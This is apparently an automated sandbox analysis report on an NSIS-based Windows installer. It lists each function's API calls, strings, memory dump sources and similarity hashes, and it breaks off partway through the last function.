GetTempPathA.KERNEL32(00000400,007A9400,00000000,00000020), ref: 00403295
GetWindowsDirectoryA.KERNEL32(007A9400,000003FB), ref: 004032A6
lstrcatA.KERNEL32(007A9400,\Temp), ref: 004032B2

Part of subcall function 004030BB: CreateDirectoryA.KERNEL32(007A9400,00000000,007A9400,007A9400,007A9400,75EE3410,0040329C), ref: 004030DC

GetTempPathA.KERNEL32(000003FC,007A9400,007A9400,\Temp), ref: 004032C6
lstrcatA.KERNEL32(007A9400,Low), ref: 004032CE
SetEnvironmentVariableA.KERNEL32(TEMP,007A9400,007A9400,Low), ref: 004032DF
SetEnvironmentVariableA.KERNEL32(TMP,007A9400), ref: 004032E7
DeleteFileA.KERNEL32(007A9000), ref: 004032FB
OleUninitialize.OLE32(?), ref: 004033A9
ExitProcess.KERNEL32 ref: 004033C9
lstrcatA.KERNEL32(007A9400,~nsu.tmp,?,?,?), ref: 004033D5
lstrcmpiA.KERNEL32(007A9400,007A8C00), ref: 004033E1
CreateDirectoryA.KERNEL32(007A9400,?,?,?,?), ref: 004033ED
SetCurrentDirectoryA.KERNEL32(007A9400,?,?,?,?), ref: 004033F4
DeleteFileA.KERNEL32(0079D8B8,0079D8B8,?,007A3000,?,?,?,?,?), ref: 0040344D
CopyFileA.KERNEL32(007A9C00,0079D8B8,00000001), ref: 00403461
CloseHandle.KERNEL32(00000000,0079D8B8,0079D8B8,?,0079D8B8,?,?,?,?,?), ref: 0040348E
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004034E3
ExitWindowsEx.USER32(00000002), ref: 0040351F
ExitProcess.KERNEL32 ref: 00403542

Part of subcall function 0040564F: CharNextA.USER32(?,0040319C,007A8000,00000020), ref: 0040565C

Strings

~nsu.tmp, xrefs: 004033CF
Error launching installer, xrefs: 00403361
TMP, xrefs: 004032E2
TEMP, xrefs: 004032DA
Low, xrefs: 004032C8
\Temp, xrefs: 004032AC
SeShutdownPrivilege, xrefs: 004034F5
", xrefs: 00403188
tvSU*#, xrefs: 0040331C

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Directory$ExitFileProcesslstrcat$CharCreateCurrentDeleteEnvironmentNextPathTempVariableWindows$CloseCopyHandleUninitializelstrcmpi
String ID: "$Error launching installer$Low$SeShutdownPrivilege$TEMP$TMP$\Temp$tvSU*#$~nsu.tmp
API String ID: 1354997958-186624107
Opcode ID: 95a040692256d3954bd641e11fd39166ae6047c1d6ff5cc60a8c7adb69f599e9
Instruction ID: 7605579532f520b864719d0dddd61f0d8e99e1e45b2c1984dcb213f5ff5d7eb5
Opcode Fuzzy Hash: 95a040692256d3954bd641e11fd39166ae6047c1d6ff5cc60a8c7adb69f599e9
Instruction Fuzzy Hash: BE71D670A04741BAD7117F715C89A2B3EACEF8670AF04053EF545B62D2CB7C9A018B6E

Uniqueness

Uniqueness Score: -1.00%

Function 00405454 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNEL32(?,?), ref: 0040547D
lstrcatA.KERNEL32(0079FD00,\*.*,0079FD00,?,?), ref: 004054C5
lstrcatA.KERNEL32(?,00409014,?,0079FD00,?,?), ref: 004054E6
lstrlenA.KERNEL32(?,?,00409014,?,0079FD00,?,?), ref: 004054EC
FindFirstFileA.KERNEL32(0079FD00,?,?,?,00409014,?,0079FD00,?,?), ref: 004054FD
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004055AA
FindClose.KERNEL32(00000000), ref: 004055BB

Strings

\*.*, xrefs: 004054BF

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: c626bdd4990726d426f94ccbeda85fbe9576a558e3f665863e436435b3c03f85
Instruction ID: 6c887a6cd9596c43cc691a5f5e4ea67afdeb508a4c755cd09b57e0a75bcacbf5
Opcode Fuzzy Hash: c626bdd4990726d426f94ccbeda85fbe9576a558e3f665863e436435b3c03f85
Instruction Fuzzy Hash: 6F51C030800A04BACB21AB21CC45BBF7AB9DF42318F54817BF455B11D2D73C9A82DEAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404FC2 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 279
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405021
GetDlgItem.USER32(?,000003EE), ref: 00405030
GetClientRect.USER32(?,?), ref: 0040506D
GetSystemMetrics.USER32(00000015), ref: 00405075
SendMessageA.USER32(?,0000101B,00000000,00000002), ref: 00405096
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050A7
SendMessageA.USER32(?,00001001,00000000,00000110), ref: 004050BA
SendMessageA.USER32(?,00001026,00000000,00000110), ref: 004050C8
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050DB
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004050FD
ShowWindow.USER32(?,00000008), ref: 00405111
GetDlgItem.USER32(?,000003EC), ref: 00405132
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405142
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040515B
SendMessageA.USER32(00000000,00002001,00000000,00000110), ref: 00405167
GetDlgItem.USER32(?,000003F8), ref: 0040503F

Part of subcall function 00403EBC: SendMessageA.USER32(00000028,?,00000001,00403CED), ref: 00403ECA

GetDlgItem.USER32(?,000003EC), ref: 00405184
CreateThread.KERNEL32(00000000,00000000,Function_00004F56,00000000), ref: 00405192
CloseHandle.KERNEL32(00000000), ref: 00405199
ShowWindow.USER32(00000000), ref: 004051BD
ShowWindow.USER32(?,00000008), ref: 004051C2
ShowWindow.USER32(00000008), ref: 00405209
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040523B
CreatePopupMenu.USER32 ref: 0040524C
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405261
GetWindowRect.USER32(?,?), ref: 00405274
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405298
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004052D3
OpenClipboard.USER32(00000000), ref: 004052E3
EmptyClipboard.USER32 ref: 004052E9
GlobalAlloc.KERNEL32(00000042,?,?,?,00000000,?,00000000), ref: 004052F2
GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 004052FC
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405310
GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00405329
SetClipboardData.USER32(00000001,00000000), ref: 00405334
CloseClipboard.USER32 ref: 0040533A

Strings

{, xrefs: 00405228

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: bac3bf14baff21c7d8ff89fa2b24996a566b9d6b3efb833f2fdcef7c70daf826
Instruction ID: 5cc5a493c7826af022734a05619d12b61540e90d3b7798cd1ee4812e4cb533c1
Opcode Fuzzy Hash: bac3bf14baff21c7d8ff89fa2b24996a566b9d6b3efb833f2fdcef7c70daf826
Instruction Fuzzy Hash: FDA16C70900208BFEB119F60DC85AAE7F79FB44355F00816AFA05BA1A1C7795E41DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004039B4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004039F0
ShowWindow.USER32(?), ref: 00403A0D
DestroyWindow.USER32 ref: 00403A21
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403A3D
GetDlgItem.USER32(?,?), ref: 00403A5E
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403A72
IsWindowEnabled.USER32(00000000), ref: 00403A79
GetDlgItem.USER32(?,00000001), ref: 00403B27
GetDlgItem.USER32(?,00000002), ref: 00403B31
SetClassLongA.USER32(?,000000F2,?), ref: 00403B4B
SendMessageA.USER32(0000040F,00000000,00000001), ref: 00403B9C
GetDlgItem.USER32(?,00000003), ref: 00403C42
ShowWindow.USER32(00000000,?), ref: 00403C63
EnableWindow.USER32(?,?), ref: 00403C75
EnableWindow.USER32(?,?), ref: 00403C90
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403CA6
EnableMenuItem.USER32(00000000), ref: 00403CAD
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403CC5
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403CD8
lstrlenA.KERNEL32(0079ECF8,?,0079ECF8,007A1F00), ref: 00403D01
SetWindowTextA.USER32(?,0079ECF8), ref: 00403D10
ShowWindow.USER32(?,0000000A), ref: 00403E44

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: d971db1fb676f9121a2777190888625fc0312326e765dd8249487f5c43209863
Instruction ID: 08d6703954b26bba67f61acca2d9aa754b0d4f7535d1ee947126766f28ce6238
Opcode Fuzzy Hash: d971db1fb676f9121a2777190888625fc0312326e765dd8249487f5c43209863
Instruction Fuzzy Hash: 42C1C231904200ABEB21AF25ED45E2B7EACF745706F04453EFA41B11E1C77DA982DB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403622 Relevance: 40.5, APIs: 15, Strings: 8, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405EA2: GetModuleHandleA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EB4
Part of subcall function 00405EA2: LoadLibraryA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EBF
Part of subcall function 00405EA2: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED0

lstrcatA.KERNEL32(007A9000,0079ECF8,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079ECF8,00000000,00000006,007A9400,75EE3410), ref: 0040369D
lstrlenA.KERNEL32(007A16A0,007A8400,?,?,007A16A0,00000000,007A8400,007A9000,0079ECF8,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079ECF8,00000000,00000006,007A9400), ref: 00403712
lstrcmpiA.KERNEL32(?,.exe), ref: 00403725
GetFileAttributesA.KERNEL32(007A16A0), ref: 00403730
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,007A8400), ref: 00403779

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

RegisterClassA.USER32(007A1EA0), ref: 004037B6
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 004037CE
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403803
ShowWindow.USER32(00000005), ref: 00403839
LoadLibraryA.KERNEL32(RichEd20), ref: 0040384A
LoadLibraryA.KERNEL32(RichEd32), ref: 00403855
GetClassInfoA.USER32(00000000,RichEdit20A,007A1EA0), ref: 00403865
GetClassInfoA.USER32(00000000,RichEdit,007A1EA0), ref: 00403872
RegisterClassA.USER32(007A1EA0), ref: 0040387B
DialogBoxParamA.USER32(?,00000000,004039B4,00000000), ref: 0040389A

Strings

RichEdit, xrefs: 0040386C
.DEFAULT\Control Panel\International, xrefs: 00403688
RichEd20, xrefs: 00403845
RichEdit20A, xrefs: 0040385D, 00403863
_Nb, xrefs: 00403795, 004037FD
Control Panel\Desktop\ResourceLocale, xrefs: 00403656
.exe, xrefs: 0040371F
RichEd32, xrefs: 00403850

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-2904746566
Opcode ID: fcf350a16533a8f7f48c774a1ae8809bdd7b9640d83f0523be5dbe97f1948a0b
Instruction ID: b0afc0e10dc8cbe2448bed9474bc03f366f348945261fe302a10aac9679cd79a
Opcode Fuzzy Hash: fcf350a16533a8f7f48c774a1ae8809bdd7b9640d83f0523be5dbe97f1948a0b
Instruction Fuzzy Hash: FA61E6716442007EE710BB659C85F373AACEB8275AF00857EFA45B22E2D67D6D01CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403FD0 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 205
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 0040405B
GetDlgItem.USER32(00000000,000003E8), ref: 0040406F
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040408D
GetSysColor.USER32(?), ref: 0040409E
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 004040AD
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004040BC
lstrlenA.KERNEL32(?), ref: 004040BF
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040CE
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040E3
GetDlgItem.USER32(?,0000040A), ref: 00404145
SendMessageA.USER32(00000000), ref: 00404148
GetDlgItem.USER32(?,000003E8), ref: 00404173
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004041B3
LoadCursorA.USER32(00000000,00007F02), ref: 004041C2
SetCursor.USER32(00000000), ref: 004041CB
ShellExecuteA.SHELL32(0000070B,open,007A16A0,00000000,00000000,00000001), ref: 004041DE
LoadCursorA.USER32(00000000,00007F00), ref: 004041EB
SetCursor.USER32(00000000), ref: 004041EE
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040421A
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040422E

Strings

open, xrefs: 004041D6
N, xrefs: 00404161

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: d629206fc8082d4d9534340c1f089e738487a858c59a90b8640b314579ac6490
Instruction ID: 031dbeac94855a04ab7bc056baf49b9f62a127ba2e136bb98bc4968a945489ce
Opcode Fuzzy Hash: d629206fc8082d4d9534340c1f089e738487a858c59a90b8640b314579ac6490
Instruction Fuzzy Hash: DF61B971A40209BFEB109F60CC45F6A3B69FB84755F10816AFB047B2D1C7B8A951CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004031B1 Relevance: 31.7, APIs: 10, Strings: 8, Instructions: 155
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000400,007A9400,00000000,00000020), ref: 00403295
GetWindowsDirectoryA.KERNEL32(007A9400,000003FB), ref: 004032A6
lstrcatA.KERNEL32(007A9400,\Temp), ref: 004032B2
GetTempPathA.KERNEL32(000003FC,007A9400,007A9400,\Temp), ref: 004032C6
lstrcatA.KERNEL32(007A9400,Low), ref: 004032CE
SetEnvironmentVariableA.KERNEL32(TEMP,007A9400,007A9400,Low), ref: 004032DF
SetEnvironmentVariableA.KERNEL32(TMP,007A9400), ref: 004032E7
DeleteFileA.KERNEL32(007A9000), ref: 004032FB

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

OleUninitialize.OLE32(?), ref: 004033A9
ExitProcess.KERNEL32 ref: 004033C9
lstrcatA.KERNEL32(007A9400,~nsu.tmp,?,?,?), ref: 004033D5
lstrcmpiA.KERNEL32(007A9400,007A8C00), ref: 004033E1
CreateDirectoryA.KERNEL32(007A9400,?,?,?,?), ref: 004033ED
SetCurrentDirectoryA.KERNEL32(007A9400,?,?,?,?), ref: 004033F4
DeleteFileA.KERNEL32(0079D8B8,0079D8B8,?,007A3000,?,?,?,?,?), ref: 0040344D
CopyFileA.KERNEL32(007A9C00,0079D8B8,00000001), ref: 00403461
CloseHandle.KERNEL32(00000000,0079D8B8,0079D8B8,?,0079D8B8,?,?,?,?,?), ref: 0040348E
GetCurrentProcess.KERNEL32(00000028,?,00000005,00000004,00000003), ref: 004034E3
ExitWindowsEx.USER32(00000002), ref: 0040351F
ExitProcess.KERNEL32 ref: 00403542

Strings

Error launching installer, xrefs: 00403361
", xrefs: 004031C2
TMP, xrefs: 004032E2
TEMP, xrefs: 004032DA
Low, xrefs: 004032C8
, xrefs: 004031BA
\Temp, xrefs: 004032AC
tvSU*#, xrefs: 0040331C

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: DirectoryExitFileProcesslstrcat$CurrentDeleteEnvironmentPathTempVariableWindows$CloseCopyCreateHandleUninitializelstrcmpilstrcpyn
String ID: $"$Error launching installer$Low$TEMP$TMP$\Temp$tvSU*#
API String ID: 5229609-2506149738
Opcode ID: 6a086e958b52bcf3b227f1b0a813edfeaa15eb1004a87bd095f96dbeb3b99093
Instruction ID: 143e6c1386cc77476d4f0e3e613a74925a80f8b86bd32943e9bd82241226e28c
Opcode Fuzzy Hash: 6a086e958b52bcf3b227f1b0a813edfeaa15eb1004a87bd095f96dbeb3b99093
Instruction Fuzzy Hash: EC510A30A0869259E7256F355C5DA3B7FE99B82307F0844BFE092762E3C67C4A05CB5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040589D Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 141
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(007A0A88,NUL,00000000,00000000,?,?,?,00405A53,?,?,00000001,0040169A,00000000,00000000,00000000), ref: 004058AD
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,?,?,00405A53,?,?,00000001,0040169A,00000000,00000000,00000000), ref: 004058D1
GetShortPathNameA.KERNEL32(?,007A0A88,00000400), ref: 004058DA

Part of subcall function 0040578A: lstrlenA.KERNEL32(0040599C,?,00000000,00000000,?,00000000,0040599C,00000000,[Rename]), ref: 0040579A
Part of subcall function 0040578A: lstrlenA.KERNEL32(00000000,?,00000000,0040599C,00000000,[Rename]), ref: 004057CC

GetShortPathNameA.KERNEL32(?,007A0E88,00000400), ref: 004058F7
wsprintfA.USER32 ref: 00405915
GetFileSize.KERNEL32(00000000,00000000,007A0E88,C0000000,00000004,007A0E88,?), ref: 00405950
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 0040595F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00405979
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 004059A9
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,007A0688,00000000,-0000000A,0040936C,00000000,[Rename]), ref: 004059FF
WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00405A11
GlobalFree.KERNEL32(00000000), ref: 00405A18
CloseHandle.KERNEL32(00000000), ref: 00405A1F

Part of subcall function 00405825: GetFileAttributesA.KERNEL32(00000003,00402C73,007A9C00,80000000,00000003), ref: 00405829
Part of subcall function 00405825: CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 0040584B

Strings

NUL, xrefs: 004058A7
%s=%s, xrefs: 0040590B
[Rename], xrefs: 00405991, 004059A3

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 3756836283-4148678300
Opcode ID: 3dc5f7bb7184485a7b87fb4c129ebc8997b7fd1a3a4ee1b2d00c5489aec53c8d
Instruction ID: 703081f9f45e0959c07b6a00457515c8324f77790511a56e8ac0345a7c84fdf8
Opcode Fuzzy Hash: 3dc5f7bb7184485a7b87fb4c129ebc8997b7fd1a3a4ee1b2d00c5489aec53c8d
Instruction Fuzzy Hash: 91412B71B04705AFD2206B249C49F6B7B6CEF89754F14053AFD01F62D2D678A8008EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,007A1F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 98e14e1640eb646ee3811aa623ba2e5d1e9cc6367b1deba79bcf05c34458357a
Instruction ID: dd0e79dd03d73333c37d03741989dce367d08c72bd534bd23d7a1991bc4c48e1
Opcode Fuzzy Hash: 98e14e1640eb646ee3811aa623ba2e5d1e9cc6367b1deba79bcf05c34458357a
Instruction Fuzzy Hash: E5419A71804249AFCB058F95CD459BFBFB9FF45310F00812AF962AA1A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004042C5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 268
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404314
SetWindowTextA.USER32(00000000,?), ref: 0040433E
SHBrowseForFolderA.SHELL32(?,0079E0D0,?), ref: 004043EF
CoTaskMemFree.OLE32(00000000), ref: 004043FA
lstrcmpiA.KERNEL32(007A16A0,0079ECF8), ref: 0040442C
lstrcatA.KERNEL32(?,007A16A0), ref: 00404438
SetDlgItemTextA.USER32(?,000003FB,?), ref: 0040444A

Part of subcall function 0040538C: GetDlgItemTextA.USER32(?,?,00000400,00404481), ref: 0040539F

Part of subcall function 00405DE2: CharNextA.USER32(?,*?|<>/":,00000000,007A8000,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E3A
Part of subcall function 00405DE2: CharNextA.USER32(?,?,?,00000000), ref: 00405E47
Part of subcall function 00405DE2: CharNextA.USER32(?,007A8000,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E4C
Part of subcall function 00405DE2: CharPrevA.USER32(?,?,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E5C

GetDiskFreeSpaceA.KERNEL32(0079DCC8,?,?,0000040F,?,0079DCC8,0079DCC8,?,00000000,0079DCC8,?,?,000003FB,?), ref: 00404505
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404520
SetDlgItemTextA.USER32(00000000,00000400,0079DCB8), ref: 004045A6

Strings

A, xrefs: 004043E8

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A
API String ID: 2246997448-3554254475
Opcode ID: 9395c303e37b59eae5547e4d4be03b44725026b6b580d2a1fc6fc9bc52966496
Instruction ID: 03cdc0df629eda19bc81850558ffdd0616f3ff49271ebeceec1b5cb03d6b2ac4
Opcode Fuzzy Hash: 9395c303e37b59eae5547e4d4be03b44725026b6b580d2a1fc6fc9bc52966496
Instruction Fuzzy Hash: DB9192B1900208BBDB11AFA1CC81AAF77B8EF85305F14447BFB01B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 00405B99 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(?,0079E4D8,00000000,00404EBC,0079E4D8,?), ref: 00405C4A
GetSystemDirectoryA.KERNEL32(007A16A0,00000400), ref: 00405CC5
GetWindowsDirectoryA.KERNEL32(007A16A0,00000400), ref: 00405CD8
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00405D14
